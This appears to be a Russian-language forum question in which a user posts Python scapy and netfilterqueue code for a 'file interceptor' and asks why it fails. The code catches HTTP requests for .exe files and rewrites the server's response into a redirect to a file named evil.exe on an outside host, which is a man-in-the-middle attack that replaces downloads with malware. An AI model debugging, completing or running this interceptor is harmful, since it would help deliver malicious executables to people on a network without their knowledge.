Я пытался создать перехватчик файлов в python 3.7 с помощью scapy и nfqueue. Он изменяет данные загрузки, но на самом деле не работает. Вот код моего класса файловых перехватчиков
acklist = []
def process_packet(self, packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet[scapy.TCP].dport == 80:
if scapy_packet.haslayer(http.HTTPRequest):
print(scapy_packet[http.HTTPRequest].Path.decode())
if ".exe" in scapy_packet[http.HTTPRequest].Path.decode():
print("IT'S A REQUEST ANDI FOUND IT")
self.acklist.append(scapy_packet[scapy.TCP].ack)
# print(scapy_packet[scapy.Raw].load).decode("hex")
# print(scapy_packet.show())
elif scapy_packet[scapy.TCP].sport == 80:
if(scapy_packet.haslayer(http.HTTPResponse)):
if scapy_packet[scapy.TCP].seq in self.acklist :
if scapy_packet.haslayer(scapy.Raw):
self.acklist.remove(scapy_packet[scapy.TCP].seq )
scapy_packet[scapy.Raw].load ="HTTP/1.1 301 Moved Permanently\nLocation: http://theridaarif.com/filesfreak/evil.exe\n\n".encode()
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.TCP].chksum
packet.set_payload(bytes(scapy_packet))
print("Packet Changed...")
print(packet.show())
print('EUREKAA')
print(scapy_packet.show())
else:
print("NO WAY")
else:
print('NO')
packet.accept()
print("Packet Accepted...")
def run(self):
print("File Queue running...")
time.sleep(2)
try:
queue = netfilterqueue.NetfilterQueue()
print("Queue running...")
queue.bind(0, self.process_packet)
queue.run()
except Exception as e:
raise Exception("Queue error")
def bind(self):
t = Thread(target = self.run)
t.start()
вот объект
file_interceptor = FileInterceptor()
file_interceptor.bind()
Я тоже изменил правила iptable. Вот ссылка, с которой я тестировал. Это мои собственные сайты, использующие http
http://theridaarif.com/filesfreak/ -> оригинальный файл http://theridaarif.com/filesfreak/evil.exe -> злой файл
Любая помощь будет цениться